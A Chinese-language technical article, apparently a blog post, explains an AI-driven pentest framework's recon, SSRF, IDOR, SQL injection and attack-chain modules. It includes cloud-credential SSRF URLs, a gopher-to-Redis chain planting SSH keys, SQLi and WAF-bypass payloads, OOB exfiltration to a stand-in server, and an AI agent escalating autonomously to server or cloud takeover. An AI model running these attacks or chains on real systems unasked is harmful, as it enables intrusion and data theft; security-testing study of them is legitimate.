核心设计理念:CLAUDE.md 里一行漏洞检测的具体方法都不写——那些全在 Skills 里。它只回答一个问题:"作为一个渗透测试 AI,你应该如何存在?"

4.2 Recon 信息收集模块:从"看什么"到"先打谁"

如果把这个框架比作一支军队,Recon 就是侦察兵。它不做任何攻击,但它决定了后续所有火力往哪打。传统的自动化扫描是"无差别扫射"——拿到目标就上扫描器,不管重点在哪。Recon 模块解决的核心问题是:在发任何攻击 payload 之前,先画一张攻击面地图。

整体设计:三阶段递进

我把信息收集分成三个阶段,不是并列关系,而是递进关系:

Phase 1: Passive Recon    →  完全不碰目标,只查公开数据
Phase 2: Active Recon     →  触碰目标,但遵守速率限制
Phase 2.5: Browser Recon  →  用真实浏览器操作目标,捕获动态接口
Phase 3: Attack Surface Map → 分析整理,输出优先级排序

设计意图:Phase 1 用开源情报(OSINT)尽可能多地收集信息,减少后续对目标的触碰。Phase 2 只补 Phase 1 拿不到的东西。Phase 2.5 弥补传统 HTTP 工具无法感知的浏览器端逻辑。

Phase 1:被动侦察(OSINT)

这个阶段 AI 完全不访问目标,通过第三方数据源收集信息。为什么要这样做?两个原因:一是无声——目标不会在日志里看到你;二是高效——crt.sh 的证书透明日志能 5 秒内拿到所有子域名,比字典爆破快 100 倍。

子域名枚举:AI 同时走两条路——subfinder 做 DNS 字典爆破,crt.sh 做证书透明度查询。两条路线互补,一个漏了另一个补上。

技术栈指纹识别:AI 通过 Wappalyzer 和响应头分析目标的技术栈。Server: nginx/1.18 + X-Powered-By: Express 直接告诉它这是 Node.js 后端。/wp-admin 返回 302 说明是 WordPress。/graphql 返回 {"data":{"__schema" 说明内省查询开启——后面 IDOR 检测可以直接用。

这里有一个容易被忽略但非常实用的技巧:robots.txt 里的 Disallow 路径往往是攻击面的提示清单。Disallow: /admin/ 告诉 AI "这里有管理后台",Disallow: /backup/ 暗示可能有备份文件泄露。AI 把 robots.txt 当成攻击面的导航牌。

Phase 2:主动侦察

这个阶段 AI 直接访问目标,但遵守 Data Safety Protocol(默认 5 req/s)。

端口扫描:nmap 加 -F 参数只做 Top 100 端口快扫。不做全端口扫描——Recon 的目标是快速画出攻击面,不是用 65535 端口把目标吵醒。

目录枚举:ffuf 做目录 Fuzz,关键参数是 -ac(auto-calibrate),它能自动过滤掉"看起来对但实际不存在"的响应。很多网站对所有不存在的路径都返回 200 + 首页内容,没有 -ac,ffuf 会把 404 全当成有效路径。

参数发现:AI 从 JS 源码提取参数名,从 HTML <input> 中提取表单字段,如果前端资源太少就用 Arjun 做参数爆破。Recon 收集到的每个参数,在 Hunt 阶段都会被各 Skill 用来做针对性检测——Recon 做得越细,Hunt 的命中率就越高。

Phase 2.5:浏览器驱动的主动侦察(Playwright MCP)

这是我最近加入框架的关键能力,也是这个框架和传统自动化工具最大的差异化之一。传统工具通过 HTTP 请求收集信息,但很多关键信息只有通过浏览器渲染才能暴露。

为什么需要浏览器层面做 Recon?

一个现代 Web 应用,首页可能只有 300 行 HTML,但加载了 20 个 JS 文件。传统 HTTP 工具拿到这 300 行 HTML 就停了,看不到 JS 里藏的 15 个 API 端点、3 个加密密钥、1 个 WebSocket 地址。而浏览器让 AI 像真实用户一样打开页面、点击按钮、抓取所有网络请求,把传统工具"看不见"的东西全部挖出来。

具体实现:通过 Playwright MCP 把浏览器操控能力注册到 Claude,让 AI 能调用以下能力:

MCP 工具

作用

对应 Recon 步骤

browser_navigate

打开目标首页

进入目标

browser_snapshot

获取页面可访问性树

分析所有按钮/链接/表单

browser_click

点击页面元素

遍历功能点

browser_network_requests

捕获所有网络请求

收集 API 调用 + 参数

browser_evaluate

执行 JS 代码

分析 JS 源码 + 提取端点

browser_take_screenshot

截图

审计追溯 + 文章配图

browser_fill_form

自动填表

测试表单提交

第一步:页面结构分析

AI 打开首页后,browser_snapshot 返回页面的可访问性树——所有可交互元素的完整列表。AI 不需要解析 HTML,直接拿到结构化的元素列表:

可点击元素:
  - <a href="/">首页</a>
  - <a href="/category/electronics">电子产品</a>
  - <button>加入购物车</button>
  - <button>登录</button>
  - <form action="/api/search">搜索表单</form>
  - <input name="keyword" type="text">
第二步:逐一点击所有功能点

这是浏览器 Recon 最有价值的部分。AI 遍历 browser_snapshot 返回的每个可交互元素,点击它,然后通过 browser_network_requests 捕获触发的 API 请求。

比如点击"加入购物车"按钮,AI 抓到:

POST /api/v1/cart/add
Body: {"product_id": 123, "quantity": 1}
Headers: Authorization: Bearer eyJ...
          X-CSRF-Token: abc123

这就比传统 HTTP 目录扫描多拿到三个信息:这个 API 的真实调用方式、需要什么鉴权头、有没有 CSRF Token。而这些信息在后续 Hunt 阶段直接决定了 IDOR、CSRF 检测怎么打。

第三步:JS 源码深度分析

browser_evaluate 让 AI 能在浏览器里执行任意 JS。这不是简单的拉取 JS 文件——AI 可以在页面上下文中执行代码,访问 window 对象、localStorage、已加载的所有脚本:

// 获取页面中所有 script src
Array.from(document.querySelectorAll('script[src]')).map(s => s.src)

// 搜索 JS 中的加密逻辑
// 搜索 "encrypt", "RSA", "AES", "publicKey", "sign"

// 搜索硬编码凭证
// 搜索 "apiKey", "secretKey", "token", "password"

// 搜索 API 端点
// 匹配 fetch(/api, axios.post(/api, $.ajax(/api

这种分析在传统渗透测试中需要人工打开 Chrome DevTools 一个一个文件翻,AI 可以在几秒内完成。

第四步:表单自动化分析

对每个表单,AI 填入测试数据并提交,观察请求格式、是否有前端校验、响应中的错误信息是否泄露内部信息。

Phase 3:攻击面映射——从数据到决策

Phase 1、2、2.5 收集了一堆数据,如果只是堆在 txt 文件里,AI 在 Hunt 阶段还是不知道从哪下手。Phase 3 把这些原始数据分类、排序、标注优先级:

High Priority:
  - POST /api/v1/cart/add (需要鉴权 → IDOR/CSRF 潜在)
  - /graphql (内省开启 → IDOR 潜在)
  - /static/js/app.xxx.js.map (源码泄露)

Medium Priority:
  - GET /api/v1/products?category= (参数化查询 → SQLi 可能)
  - POST /api/v1/auth/login (密码 RSA 加密 → 需逆向)

Low Priority:
  - /static/* (静态资源)

设计思路:attack_surface.md 是 Recon 和 Hunt 之间的"接力棒"。AI 在 Hunt 阶段读到这份报告,直接知道先打哪、后打哪、每个端点测什么漏洞类型。

输出标准化

Recon 完成后,所有结果结构化输出到 targets/<target>/recon/:

recon/
├── subdomains.txt            # 子域名列表
├── endpoints.txt             # 传统 HTTP 发现的所有端点
├── technologies.txt          # 技术栈信息
├── api_endpoints.txt         # API 专用端点
├── attack_surface.md         # 核心:分类+优先级的攻击面报告
├── browser_endpoints.txt     # 浏览器点击发现的隐藏端点
├── browser_api_calls.txt     # 每个按钮触发的 API 请求详情
├── browser_js_findings.txt   # JS 加密函数/硬编码密钥/敏感信息
├── browser_form_analysis.txt # 表单结构和校验逻辑分析
└── screenshots/              # 页面截图(审计追溯 + 文章配图)

一句话总结:Recon 不做任何漏洞检测——但它做了更重要的事:让后续的所有检测有方向,不做无差别扫射。

4.3 Skills 体系:漏洞检测的模块化实现

4.3.1 SSRF检测模块:

SSRF 是我在这个框架中最先落地的检测模块,也是最能体现 AI 自动化优势的漏洞类型。为什么?因为 SSRF 的检测过程有一个显著特点:步骤多、分支多、但每一步的决策逻辑相对清晰——这正是 AI 擅长的事情。

传统人工测 SSRF 的痛点是,一个请求发出去,你要等 OOB 回调、要看响应差异、要手工换 payload 绕过、要逐端口探测内网——整个过程琐碎且容易遗漏。而我把这些全部编码到了 skills/ssrf.md 中,让 AI 按标准流程执行。

1.检测点自动化枚举

AI 拿到一个目标后,第一步不是盲目发包,而是先识别哪些参数可能承载 URL。我在 Skill 中定义了一个参数优先级表,让 AI 根据参数名自动判断检测价值:

参数

上下文

优先级

AI 的处理逻辑

url

直接 URL 获取

Critical

直接上完整 payload 列表

redirect / redirect_uri

OAuth 跳转

High

优先测 302 绕过

callback / webhook

API 回调

High

用 OOB 方式验证盲 SSRF

image_url / img

图片 URL

Medium

仅测基本回显

proxy / file

代理/文件路径

Critical

优先测协议走私 + 本地文件读取

设计思路:不是对所有参数无差别发包,而是让 AI 先做"参数分类",再根据类别选择最可能的 payload。这样做有两个好处——减少无效请求(节省时间和速率配额),提高命中率(对症下药)。

具体的枚举逻辑是:AI 在 Recon 阶段收集到的所有 GET/POST 参数、JSON body 字段、Cookie 值,逐一与这个参数表做匹配。命中了 url/proxy/file 的直接标记为 Critical 优先级,命中 callback/webhook 的标记为 High。如果参数名不在表里但值看起来像 URL(包含 http:// 或 https://),也会被标记为"疑似 SSRF 入口"。

2.内网探测逻辑:从回环地址到服务指纹

检测点确认之后,AI 进入实际的探测阶段。这里我设计了一个渐进式探测链:

第一步:OOB 验证(确认 SSRF 存在)

AI 先不发内网地址,而是发一个 OOB 探测(如 http://xxx.oastify.com),确认服务器是否会发起对外请求。如果收到 DNS/HTTP 回调,说明 SSRF 确认存在。这一步是"安全验证",不给目标造成实际危害,但能证明漏洞。

第二步:回环地址遍历(判断内网可达性)

确认 SSRF 存在后,AI 开始探测回环地址:

http://127.0.0.1/          → 基础回环
http://localhost/           → 域名回环
http://0.0.0.0/             → 全零地址
http://2130706433/          → 十进制 IP(绕过简单黑名单)
http://0x7f000001/          → 十六进制 IP
http://[::1]/               → IPv6 回环
http://127.0.0.1.nip.io/    → DNS Rebinding

设计思路:不是只发一个 127.0.0.1 就完事,而是把回环地址的各种变体都列入探测清单。很多开发者的"防护"只过滤了 127.0.0.1 字符串,但对十进制、十六进制、IPv6 表示法毫无防备。

第三步:内网服务指纹探测

一旦确认内网可达,AI 会遍历常见的内网服务端口:

127.0.0.1:6379  → Redis(响应 "NOAUTH" 或 "-ERR")
127.0.0.1:9200  → Elasticsearch(响应 JSON 集群信息)
127.0.0.1:3306  → MySQL(响应握手包)
127.0.0.1:8500  → Consul(响应 JSON API)
127.0.0.1:6443  → K8s API(响应 API 资源列表)

设计思路:这里的核心不是"发请求",而是根据响应内容自动识别服务类型。AI 发一个 http://127.0.0.1:6379,返回 -NOAUTH Authentication required,AI 自己就能判断这是 Redis——不需要人类告诉他。这种"响应指纹识别"是 AI 相比传统扫描器的真正优势。

第四步:302 跳转追踪

有些 SSRF 场景中,直接访问内网被 WAF 拦截,但服务器会跟随 302 跳转。AI 的处理逻辑是:

请求: http://evil.com/redirect(此 URL 返回 302 → http://169.254.169.254/)
     ↓
如果服务器自动跟随了 302 → 请求实际到达了云元数据端点
     ↓
如果响应包含 instance-id / ami-id 等云特征 → 确认云平台 SSRF
3. 云元数据探测

这是 SSRF 攻击链中最"值钱"的一环。不同云平台的元数据端点不同,AI 不需要人工逐一指定——Skill 中预置了所有主流云平台的端点列表:

AWS:        http://169.254.169.254/latest/meta-data/
           → /iam/security-credentials/  → 获取临时密钥

阿里云:     http://100.100.100.200/latest/meta-data/
           → /ram/security-credentials/  → 获取 RAM 角色凭证

腾讯云:     http://metadata.tencentyun.com/latest/meta-data/

GCP:        http://metadata.google.internal/computeMetadata/v1/
           (需带 Header: Metadata-Flavor: Google)

Azure:      http://169.254.169.254/metadata/instance?api-version=2021-02-01
           (需带 Header: Metadata: true)

AI 的自动判断逻辑:

  1. 探测 169.254.169.254 和 100.100.100.200,根据响应判断云平台类型
  2. 如果响应包含 ami-id → AWS,自动去读 IAM 凭据路径
  3. 如果响应包含 region-id → 阿里云,自动去读 RAM 角色
  4. 如果 GCP/Azure 元数据端点无响应 → 自动加上必需的 Header 重试

这一步如果打通,SSRF 的严重等级直接从 High 升级到 Critical——因为拿到了云平台的临时访问凭证,相当于拿到了整个云账号的控制权。

4. IPv6 支持

很多企业在 IPv4 侧做了严格的 SSRF 防护(黑名单过滤 127.0.0.1、10.0.0.0/8、169.254.169.254 等),但完全忽略了 IPv6 的攻击面。即使目标服务器本身没有 IPv6 公网地址,只要它支持 IPv6 协议栈,就可以通过 IPv6 回环地址绕过 IPv4 黑名单:

http://[::1]/                          → IPv6 回环
http://[0:0:0:0:0:ffff:127.0.0.1]/    → IPv4-mapped IPv6
http://[::ffff:169.254.169.254]/       → 映射到 AWS 元数据

AI 的处理逻辑:

第一步:用 http://[::1]/ 测试 IPv6 回环可达性
第二步:如果可达 → 用 http://[::ffff:169.254.169.254]/ 测试云元数据
第三步:如果不可达 → 说明 IPv6 协议栈未启用,跳过后续 IPv6 测试
5. SSRF → RCE 攻击链串联

单独一个 SSRF 可能是 Medium 或 High,但一旦串联上 RCE,就是 Critical。框架中的攻击链逻辑是:

SSRF 确认
   ↓
内网服务探测
   ↓
发现 Redis 未授权(127.0.0.1:6379 返回非 NOAUTH)
   ↓
协议走私:gopher://127.0.0.1:6379/_*1%0d%0a...
   ↓
RESP 协议写入 SSH 公钥到 /root/.ssh/authorized_keys
   ↓
SSH 登录 → 获取服务器完整控制权 → RCE

或者走云元数据路线:

SSRF → 169.254.169.254 → IAM 临时凭证
   ↓
AWS CLI 使用凭证 → 枚举 S3/EC2/RDS
   ↓
发现 RDS 数据库 → 导出数据
或发现 S3 桶 → 下载全部文件
   ↓
云基础设施全面沦陷

设计思路:AI 不是"发现 SSRF → 报告 → 结束",而是"发现 SSRF → 把它当成跳板 → 自动探查后续攻击面"。这个过程在传统渗透中需要人工一步一步做,但在框架中,AI 读到 attack-chains.md 中的 SSRF→RCE 链路模板,会主动尝试每一步。即使某一步失败(比如 Redis 需要密码),AI 也会自动换下一个内网服务继续探。

4.3.2 IDOR检测模块:

idor的实现我的理解是让 AI 自动识别"别人的数据能不能看"

IDOR(越权访问)在所有漏洞类型中有一个独特的难点:触发条件太简单了——就改一个 ID 数字,但判断"有没有越权"需要上下文理解。你改了 ID 从 123 到 124,返回了数据,这本身不能说明问题——你得判断返回的是不是"别人的数据"。传统扫描器做不了这个判断,但 AI 可以。

1. 整体检测流程

在 Skill 中,我把 IDOR 的检测抽象为一个六步流水线:

[捕获基准请求] → [提取所有ID] → [ID变换生成] → [批量发送] → [响应对比] → [越权判定]

每一步都有明确的输入输出,AI 每一步都知道自己在做什么。

第一步:捕获基准请求

AI 用一个正常用户身份访问一个资源,记录下完整的请求和响应作为"基准"。这个基准包含:请求 URL、参数、响应状态码、响应体长度、响应体中的关键字段(用户名、邮箱、ID 等)。

第二步:提取所有 ID

AI 从基准请求中提取所有"看起来像 ID"的参数——不是简单的正则匹配,而是结合参数名做语义判断:

?user_id=12345          → 参数名叫 user_id,值 12345 → ID ✓
?page=about             → 参数名叫 page,值是字符串 → 不是 ID ✗
?uuid=a1b2-c3d4-e5f6    → UUID 格式 → 可能是 ID ✓
?token=eyJ1c2VyIjoxMjN9 → Base64 特征 → 可能是编码 ID ✓
/articles/123           → RESTful 路径中的数字 → ID ✓

第三步:ID 变换生成

这是整个流程的核心。AI 不只是"ID+1"这种简单递增,而是根据 ID 的格式选择对应的变换策略:

ID 格式

变换策略

示例

纯数字

递增/递减/随机/0/负数

123 → 124, 122, 1, 0, -1

UUID

替换其他请求中的 UUID

用请求 B 的 UUID 替换请求 A 的

Base64

解码→修改→重新编码

User:123 → User:124 → VXNlcjoxMjQ=

哈希

对常见模式重算哈希

md5("124") = ?

用户名

遍历常见用户名列表

admin, root, test, user001

第四步:批量发送

用变换后的 ID 逐一发送请求,保持其他参数不变(Cookie、Header 等),记录每个请求的响应。

第五步:响应对比

这是 AI 真正体现价值的地方。传统扫描器只能比对"状态码是否相同"和"响应长度是否不同",但 AI 能做的事更多:

状态码对比    → 200 vs 403 vs 302(权限控制判断)
长度对比      → 差异超过阈值(>10%)标记为"响应内容不同"
内容语义对比  → AI 比较响应中的关键字段(用户名、邮箱、手机号)
               如果用户名变了 → 确认返回了其他用户的数据
               如果邮箱变了 → 确认越权访问了其他用户信息
错误信息分析  → 如果返回 {"error": "not authorized"} → 防护生效,尝试绕过
               如果返回 {"error": "user not found"} → ID 格式对但不存在,换下一个

第六步:越权判定

综合以上信息,AI 给出最终判断:

确认 IDOR        → 返回了不同的用户名/邮箱/手机号,且状态码 200
疑似 IDOR        → 响应内容和基准不同,但无法确认是否为其他用户数据
需要人工验证     → 响应差异存在,但需要更多上下文才能判断
未发现 IDOR      → 所有变换后的请求都返回 403 或相同内容
2. GraphQL Node ID 遍历

GraphQL 的 IDOR 检测和 RESTful 有本质区别,所以我单独设计了一套逻辑。

GraphQL IDOR 的特殊之处:

GraphQL 使用全局唯一的 node_id 来引用对象,格式通常为 Base64 编码:

VXNlcjoxMjM=  →  解码后   →  User:123

这意味着 ID 是类型名 + 数字的 Base64 编码。AI 的处理逻辑:

第一步:内省查询获取 Schema

query {
  __schema {
    types {
      name
      kind
      fields { name type { name kind } }
    }
  }
}

AI 先做内省查询获取完整的 Schema(这就和传统 REST API 完全不同——GraphQL 可以直接问"你有哪些类型和字段")。从 Schema 中 AI 自动识别:

  • 哪些类型实现了 Node 接口(意味着可以通过 node(id:) 查询)
  • 哪些字段包含敏感信息(email、phoneNumber、address)
  • 哪些字段是列表类型(可以进行批量查询)

第二步:构造 Node 查询

query {
  node(id: "VXNlcjoxMjM=") {
    ... on User {
      id
      email
      name
      phoneNumber
    }
  }
}

返回自己的用户信息 → 作为基准响应。

第三步:解码 + 修改 Node ID

VXNlcjoxMjM=  →  Base64 解码  →  User:123
                                    ↓
                               User:124  →  Base64 编码  →  VXNlcjoxMjQ=

AI 会自动处理不同格式的 node_id:

User:123        → User:124
Account:456     → Account:457
Order:ORD-001   → Order:ORD-002

第四步:遍历检测

查询 node(id: "VXNlcjoxMjQ=") →
  如果返回了 User 124 的 email → IDOR 确认
  如果返回 null 或 "not found" → 该 ID 不存在,递增继续
  如果返回 "unauthorized" → 有权限控制,尝试绕过

与传统 REST IDOR 不同的是,GraphQL 还支持批量查询——一个请求同时查多个节点:

query {
  user1: node(id: "VXNlcjoxMjM=") { ... on User { email } }
  user2: node(id: "VXNlcjoxMjQ=") { ... on User { email } }
  user3: node(id: "VXNlcjoxMjU=") { ... on User { email } }
}

设计思路:批量查询是 GraphQL IDOR 检测的关键优势——AI 可以在一次请求中同时验证 10 个 ID 是否存在越权,而不需要发 10 次请求。这不仅效率更高,而且更隐蔽(只有一个请求,不像在暴力枚举)。

3. RESTful 资源 ID 自动化替换

RESTful 接口的 IDOR 检测更传统,但 AI 的处理方式比写死规则更灵活。

ID 识别策略:

AI 拿到一个请求后,首先分析 ID 可能存在的所有位置:

URL 路径        /api/user/123/profile       → 123
URL 查询参数    /api/user?id=123            → 123
POST Body       {"user_id": 123}            → 123
Cookie          user_session=123;uid=456    → 123, 456
Header          X-User-Id: 123              → 123
GraphQL         {"query":"{user(id:123)}"}  → 123

ID 变换策略:

不是简单的 +1,而是多维度的变换:

原始 ID: 123

数值变换:
  123 → 124  (递增)
  123 → 122  (递减)
  123 → 1    (边界值)
  123 → 0    (零值)
  123 → -1   (负值)
  123 → 999999 (极大值)

格式变换:
  123 → "124"  (数字变字符串)
  123 → ["124"] (数组包装)

权限变换:
  自己的 ID=123 → 管理员的 ID=? → 尝试 ID=1 (通常 admin 是 ID 1)

绕过策略:

AI 在遇到权限控制时不会直接放弃,而是自动尝试一套绕过组合:

# 原始请求被拦截
GET /api/user/124 → 403 Forbidden

# 尝试 1: 换 HTTP 方法
POST /api/user/124 → 200 OK ← IDOR!

# 尝试 2: 加数组括号
GET /api/users?id[]=124 → 200 OK ← IDOR!

# 尝试 3: 参数污染
GET /api/user?id=123&id=124 → 返回用户 124 的数据 ← IDOR!

# 尝试 4: JSON body 传 ID
PUT /api/user/124
{"id": 124} → 200 OK ← IDOR!

设计思路:每个绕过尝试都是有明确触发条件的——比如"返回 403 才换 HTTP 方法"、"返回 400 才加数组括号"。AI 不是盲目把所有绕过方法全试一遍,而是根据上一个响应的特征来决定下一个动作。这种 "响应驱动的决策链" 是模块化和自动化的核心差异。

以上就是 IDOR 模块的完整设计思路,GraphQL 和 RESTful 两条线覆盖了当前主流 API 架构的越权检测。

4.3.3 sql注入检测模块

SQL 注入是最经典的 Web 漏洞,也是自动化工具覆盖最多的领域(sqlmap 已经非常成熟)。那为什么还要把它做成一个 Skill?因为 sqlmap 解决的是"怎么注入",而 Skill 解决的是"什么时候用什么方法注入"——这是决策层的问题,不是执行层的问题。

设计思路:AI 不是对所有参数无差别跑 sqlmap——那样太慢、太吵、容易触发 WAF。而是先用轻量级探测缩小范围,只对有响应的参数深入。

第一步:全参数入口识别

SQLi 的入口比大多数人想象的要多。AI 在 Recon 阶段收集到的每一个输入点都会被标记:

GET 参数     → ?id=1, ?page=2, ?search=keyword
POST 参数    → form 提交的 username, password, comment
Cookie 值    → session=xxx; uid=123(注意 Base64 编码的)
HTTP Header  → User-Agent, Referer, X-Forwarded-For
JSON 字段    → {"user_id": 123, "name": "test"}
路径段       → /api/user/123/profile 中的 123
GraphQL      → query { user(id: 123) { name } }

关键设计:Cookie 和 Header 中的参数往往被人工测试忽略,但 AI 不会漏——它系统性地遍历所有位置。特别是 X-Forwarded-For 这种头,后端经常拿它直接拼 SQL 查 IP 归属地,注入成功率很高。

第二步:数据库指纹识别

在正式注入之前,AI 会先判断数据库类型。不同数据库的注入语法完全不同——拿 MySQL 的 payload 打 MSSQL 基本是浪费时间:

-- 时间延迟探测(不同数据库完全不同)
MySQL:      SLEEP(5)
PostgreSQL: PG_SLEEP(5)
MSSQL:      WAITFOR DELAY '0:0:5'
Oracle:     DBMS_LOCK.SLEEP(5)

-- 字符串拼接探测
MySQL:      'con' 'cat'      → 'concat'
PostgreSQL: 'con' || 'cat'   → 'concat'
MSSQL:      'con' + 'cat'    → 'concat'
Oracle:     'con' || 'cat'   → 'concat'

AI 的判断逻辑:先发 SLEEP(5)——如果延迟了 5 秒,确认是 MySQL 且确认注入存在。如果不延迟,再发 PG_SLEEP(5),以此类推。一旦确定了数据库类型,后续所有 payload 都用该数据库的语法,精准度大幅提高。

第三步:注入类型自动判定

数据库类型确定后,AI 根据响应特征选择注入方法:

Error-Based(报错注入)——最理想的情况

如果目标直接把 SQL 错误返回在页面里,AI 会优先用 Error-Based,因为信息最丰富:

' AND extractvalue(1,concat(0x7e,version()))--     ← MySQL
' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version))--  ← Oracle

AI 的判断条件:响应中包含 SQL syntax、mysql_fetch、ORA-、unclosed quotation mark 等关键字 → 确认 Error-Based 可用。

Boolean-Based(布尔盲注)——需要对比推理

如果目标不返回错误但响应内容随注入语句变化(比如 ' AND 1=1 返回正常页面,' AND 1=2 返回空页面),AI 会判定为 Boolean-Based:

-- 逐字符猜测数据库版本
' AND SUBSTRING(version(),1,1)='5   → 如果正常 → 首字符是 '5'
' AND SUBSTRING(version(),1,1)='8   → 如果异常 → 首字符不是 '8'

关键设计:AI 需要先建立基线——发一个确定返回 true 的请求和一个确定返回 false 的请求,比较两者的响应差异。只有在响应确实不同的情况下,才判定注入存在。这避免了把网络抖动误判为 Boolean-Blind。

Time-Based(延时盲注)——最后的兜底方案

如果目标既不返回错误、响应内容也不变化,AI 最后尝试 Time-Based:

' AND SLEEP(5)--
' AND (SELECT IF(SUBSTRING(version(),1,1)='5', SLEEP(5), 0))--

设计意图:Time-Based 放在最后,因为它最慢。确认一个注入可能需要几分钟。但它是兜底的——只要目标确实存在 SQLi,即使前面所有方法都失败,Time-Based 也能确认。

Out-of-Band(带外交互)——盲注的加速器

如果盲注确认了但实在太慢,AI 会尝试 OOB 方式——让数据库主动连接外部服务器,把数据带出来:

-- MySQL
' AND LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.your-server.com\\test'))--

-- MSSQL
'; EXEC('master..xp_dirtree "\\'+@@version+'.your-server.com\test"')--
第四步:WAF 绕过——内建在流程中,不是事后补救

大多数 SQLi 教程把 WAF 绕过放在"附录"或"进阶"章节,但在实际渗透中,WAF 几乎是必然会遇到的。Skill 中把 WAF 绕过作为检测流程的一个标准分支,而不是可选的附录:

探测字符 → 被拦截(响应包含 "Blocked" / 403 / Cloudflare)
            ↓
      不是放弃,而是:
            ↓
      尝试空格替代:/**/ 或 %09 或 %a0
            ↓
      仍然拦截 → 尝试关键字混淆:SeLeCt / UniOn
            ↓
      仍然拦截 → 尝试编码绕过:%55%4e%49%4f%4e
            ↓
      3 次尝试后仍被拦截 → 判定 WAF 太强
      记录到 memory.md → 换其他漏洞类型(Momentum Tactics 的"三试即换")
第五步:sqlmap 集成——AI 做决策,sqlmap 做执行

一旦 AI 确认了注入点、数据库类型和注入方法,就调用 sqlmap 来做数据提取。AI 负责的决策包括:

确认注入点 URL     → sqlmap -u "<URL>" 
指定参数           → sqlmap -p "<param>"  
遭遇 WAF           → sqlmap --tamper=between,space2comment,randomcase
需要列出数据库     → sqlmap --dbs
需要提取敏感表     → sqlmap -D <db> -T users -C username,password --dump

设计思路:这个分工很清晰——AI 负责"判断"(是不是 SQLi、什么类型、有 WAF 吗、该用哪个 tamper),sqlmap 负责"执行"(具体的注入和数据提取)。AI 不重新发明轮子,而是把轮子装在正确的位置上。

4.4 Attack Chains:攻击链自动化编排

核心设计思路:

1. 链式匹配引擎

整个模块的灵魂是一个自动化的链式匹配逻辑。每次 Hunt 阶段完成(有新的 findings 写入),AI 就会执行一次链式分析:

遍历所有 findings:
  
  发现 SSRF →
    检查: 该 SSRF 能访问内网吗?
      → 能 → 触发 Chain 1(SSRF → 云元数据)
      → 能 → 触发 Chain 2(SSRF → Redis → RCE)
  
  同时发现 XSS + CSRF →
    检查: 是存储型 XSS 吗?CSRF 能改密码吗?
      → 两个都是 → 触发 Chain 3(XSS → CSRF → 账户接管)
  
  发现 IDOR + GraphQL 内省 →
    检查: IDOR 能遍历 ID 吗?GraphQL 暴露了敏感字段吗?
      → 两个都是 → 触发 Chain 6(GraphQL → IDOR → 批量数据泄露)

关键设计:不是所有发现都会形成链。AI 需要判断两个漏洞之间是否存在因果关系或是否可以串联。比如一个反射型 XSS 加一个 CSRF(改头像),如果 XSS 触发条件苛刻(需要受害者点链接),CSRF 影响又低(只能改头像),AI 会判断这个链的价值不高,不触发串联。

2. 严重等级升级规则

这是 Attack Chains 最具实战价值的设计——链会让漏洞的严重等级升级:

原始等级         链的上下文          升级后等级
─────────────────────────────────────────────
SSRF (High)  + 云元数据可达  →  Critical
IDOR (High)  + 批量遍历可行  →  Critical
SSRF (High)  + Redis 未授权  →  Critical
XSS (Medium) + CSRF改密码    →  High
多个 Low     + 可自动化串联  →  Medium

设计意图:单个 SSRF 能读内网是 High,但如果能读到云凭据就是 Critical——这个判断标准不是拍脑袋的,而是跟 CVSS 评分体系对齐。框架的 Impact Matrix 用这个升级表自动调整严重等级,不需要人类事后手动升级。

3. 八条预置攻击链模板

Skill 中预定义了八条最常见的攻击链路线,每一条都是实战中反复验证过的:

链

起点

关键跳板

终点

实战概率

SSRF → 云Metadata

SSRF

169.254.169.254

云账号接管

高

SSRF → Redis RCE

SSRF

gopher://内网Redis

服务器权限

中

XSS → CSRF → 账号接管

存储XSS

受害者浏览器

账户控制

高

IDOR → 批量数据泄露

IDOR

遍历脚本

数据库泄露

高

文件上传 + 路径穿越 → RCE

文件上传

路径穿越写入

Webshell

中

GraphQL → IDOR → 数据泄露

内省查询

Node ID 遍历

批量数据

高

Webpack → API Key → 认证绕过

.map泄露

源码还原

越权访问

中

SQLi → 读配置 → 横向移动

SQLi

LOAD_FILE

多数据库沦陷

中

每条模板不仅列出了步骤,还包含了具体的 Payload 和验证条件。AI 不是"知道有这条路",而是知道每一步怎么走、每一步验证什么、哪一步失败该换哪条替代路线。

4. AI 的自动编排 vs 人工复盘

传统渗透测试中,攻击链通常是高级测试人员凭经验"想出来的"——这要求测试者不仅熟悉单个漏洞,还要善于联想。但在 AI 驱动的框架里,攻击链变成了一个自动化的分析步骤:

人工模式:
  发现 SSRF → 记下来 → 发现 Redis → 记下来 → 
  过两天突然想到:"等等,这两个是不是能串?"
  → 手动验证 → 写报告时已经把链的逻辑忘了一半

AI 模式:
  发现 SSRF → 写入 findings/
  发现 Redis 未授权 → 写入 findings/
  → Attack Chains 自动触发:
    "检测到 SSRF + 内网 Redis,符合 Chain 2 模板"
    "开始验证:gopher 协议可用?→ 可用"
    "写入 SSH Key → 成功 → RCE 确认"
    "原始等级: SSRF(High) + Redis(High) → 升级: Critical"
  → 自动生成攻击链报告

设计意图:链式分析不应该依赖测试人员的"灵光一现",而应该是每个 Hunt 阶段结束后自动执行的标准流程。

4.5 Browser Hunt:浏览器驱动的交互式漏洞检测

前面 Recon 阶段用到了浏览器做信息收集,但在 Hunt 阶段,浏览器能做更"硬核"的事——三个传统工具完全无能为力的场景。

场景一:前端加密参数逆向

现代 Web 应用大量使用前端加密(RSA/AES),登录、提交表单时密码和敏感参数全部是密文。传统工具拿到密文就放弃了——它不知道这是什么加密,也不会逆向。

AI 的做法:

1. browser_navigate → 打开登录页
2. browser_snapshot → 找到密码输入框和登录按钮
3. browser_evaluate → 搜索 JS 中的加密关键字:
   "encrypt", "RSA", "AES", "publicKey", "JSEncrypt"
4. 找到 encryptPassword() 函数后, Hook 它:
   browser_evaluate →
     const orig = window.encryptPassword;
     window.encryptPassword = function(pwd) {
       console.log('[Hook] 明文:', pwd);
       const encrypted = orig(pwd);
       console.log('[Hook] 密文:', encrypted);
       return encrypted;
     };
5. browser_type → 输入已知密码 → browser_click 登录
6. browser_console_messages → 读到 Hook 输出:
   明文: "test123" → 密文: "k8f7d9a3c1..."
   → 加密算法和密钥确认
7. 然后用确认的加密逻辑加密 SQLi/XSS payload → 绕过前端加密直接打后端

传统工具在这一步是零分——它要么看到密文直接跳过,要么在不知道密钥的情况下乱发包。AI 多出来的这一步,就是传统扫描器和"智能"之间的分界线。

场景二:DOM XSS 自动验证

反射型 XSS 和存储型 XSS 传统工具还能用模板匹配来测,但 DOM XSS 需要 JS 真正执行才能触发——传统扫描器的 HTTP 发包方式根本看不到 DOM 里的 source 和 sink。

AI 的做法:

